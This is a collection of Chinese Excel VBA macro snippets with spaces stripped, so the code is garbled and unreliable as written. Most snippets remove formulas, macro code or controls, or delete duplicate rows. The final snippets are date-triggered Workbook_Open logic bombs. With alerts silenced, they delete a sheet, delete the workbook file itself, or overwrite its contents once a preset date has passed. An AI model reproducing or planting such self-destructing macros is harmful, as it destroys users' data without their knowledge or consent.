用宏删除EXCEL中的公式PrivateSubWorkbook_Open()ifdate>=#2010-1-1#thenFori=1ToSheets.CountSheets(i).ActivateCells.CopyCells.PasteSpecialxlPasteValuesNextiSheets(1).ActivateendifEndSub用宏删除EXCEL宏中的代码OptionExplicitSubRmvMacros() DimwbkAsWorkbook DimstrFilenameAsString ThisWorkbook.SaveCopyAs"D:\另存备份.xls" strFilename=ThisWorkbook.Path&"\另存备份.xls"'要删除宏的文件名 Application.EnableEvents=False'禁止在打开时触发事件 Setwbk=Workbooks.Open(strFilename) RemoveAllMacroswbk'调用RemoveAllMacros删除宏代码 wbk.Closesavechanges:=True Application.EnableEvents=TrueEndSubSubRemoveAllMacros(wbkAsWorkbook) '参数wbk为要删除宏的工作簿 DimiAsLong DimvbcAsVBComponent ForEachvbcInwbk.VBProject.VBComponents '遍历wbk工作簿的每一个模块 Ifvbc.Type=vbext_ct_DocumentThen '如果是Excel对象的模块,则清除其中的代码,否则删除整个模块 vbc.CodeModule.DeleteLines1,vbc.CodeModule.CountOfLines Else wbk.VBProject.VBComponents.Removevbc EndIf NextvbcEndSubSubListAllCodeModule() DimstrVBCmpTypeAsString DimvbcAsVBComponent Debug.Print"名称 类型 代码行数" ForEachvbcInThisWorkbook.VBProject.VBComponents Withvbc SelectCase.Type Casevbext_ct_Document strVBCmpType="Excel对象" Casevbext_ct_StdModule strVBCmpType="模块" Casevbext_ct_MSForm strVBCmpType="窗体" Casevbext_ct_ClassModule strVBCmpType="类模块" EndSelect Debug.Print.Name&Space(20-Len(.Name)),strVBCmpType,.CodeModule.CountOfLines EndWith NextvbcEndSub用宏代码清除excel2000文档中的宏代码、部分控件'removeExcelMacro("Book1.Xls",Array("CheckBox1","TextBox1","ListBox"))''直接删除目标文件的宏代码和控件(可选择保留的控件),Excel文件名称、要删除的控件名称数组PublicStaticFunctionremoveExcelMacro(targetExcelFileNameAsString,killOleObjectTypeAsVariant)AsBoolean OnErrorGoToErrHand Dimi,j,nAsByte DimvbeCompAsNewVBComponents DimvbaObjeAsOLEObject removeExcelMacro=False SetvbeComp=Application.Workbooks(targetExcelFileName).VBProject.VBComponents n=vbeComp.Count Fori=1Ton Ifi>vbeComp.CountThenExitFor IfvbeComp(i).Type=100Then ' 100:xl_Document_Type(IncludeWorkbook,Worksheet) '删除代码 IfvbeComp(i).CodeModule.CountOfLines>0ThenvbeComp(i).CodeModule.DeleteLines1,vbeComp(i).CodeModule.CountOfLines '删除控件 vbeComp(i).Activate IfkillOleObjectType(0)<>""Then ForEachvbaObjeInActiveSheet.OLEObjects Forj=0ToUBound(killOleObjectType) IfUCase(Split(vbaObje.ProgId,".")(1))=UCase(killOleObjectType(j))Then vbaObje.Select:Selection.Delete EndIf Next Next EndIf Else '删除整个模块 vbeComp.RemovevbeComp(i) i=i-1 EndIf Next removeExcelMacro=True ExitFunctionErrHand: MsgBoxErr.Description&vbCrLf&vbCrLf&"请与XXX联系!",vbOKOnly+vbCriticalEndFunction删除重复值Sub删除列中重复值()DimstrSheetNameAsString,strColumnLetterAsStringstrSheetName="Sheet1"'删除工作表中的重复行strColumnLetter="A"'以A列中的重复项作为删除条件DimstrColumnRangeAsStringDimrngCurrentCellAsRangeDimrngNextCellAsRangestrColumnRange=strColumnLetter&"1"代表range(“a1”)Worksheets(strSheetName).Range(strColumnRange).Sort_Key1:=Worksheets(strSheetName).Range(strColumnRange)SetrngCurrentCell=Worksheets(strSheetName).Range(strColumnRange)DoWhileNotIsEmpty(rngCurrentCell)SetrngNextCell=rngCurrentCell.Offset(1,0)IfrngNextCell.Value=rngCurrentCell.ValueThenrngCurrentCell.EntireRow.DeleteEndIfSetrngCurrentCell=rngNextCellLoopEndSub删除活动工作簿中的所有宏代码SubMacroDel()DimvbcCom,VbcSetvbcCom=ActiveWorkbook.VBProject.VBComponentsForEachVbcInvbcComIfVbc.NameLike"Sheet*"OrVbc.NameLike"This*"ThenVbc.CodeModule.DeleteLines1,Vbc.CodeModule.CountOfLinesElsevbcCom.Remove(Vbc)EndIfNextVbcThisWorkbook.SaveEndSub'这个代码可以删除工作表PrivateSubWorkbook_Open()'工作簿打开就执行Application.DisplayAlerts=False'关闭提示DimdateeAsDate定义datee'为日期datee=#9/19/2006#'为datee'赋值IfDate>dateeThen'如果当前日期大于设定的日期ThisWorkbook.Sheets("Sheet3").Delete'删除表sheets3ThisWorkbook.Save'保存工作簿Application.Quit'推出工作簿EndIfEndSub'ThisWorkbook.Sheets("Sheet3").Delete'再给一个过期则删除工作簿(回收站都找不到)PrivateSubWorkbook_Open()Application.DisplayAlerts=FalseDimdateeAsDatedatee=#9/19/2006#IfDate>dateeThenActiveWorkbook.ChangeFileAccessxlReadOnlyKillActiveWorkbook.FullNameThisWorkbook.CloseFalseEndIfEndSub'再给一个过期则自动删除宏代码之文件PrivateSubWorkbook_Open()Application.DisplayAlerts=FalseDimdateeAsDatedatee=#9/19/2006#IfDate>dateeThenDimstrFilePath,strJunkAsStringstrFilePath=Excel.Workbooks.Item(1).FullNameClose#1OpenstrFilePathForBinaryAs#1strJunk=Space(LOF(1))Put#1,,strJunkThisWorkbook.Saved=TrueThisWorkbook.CloseEndIfEndSub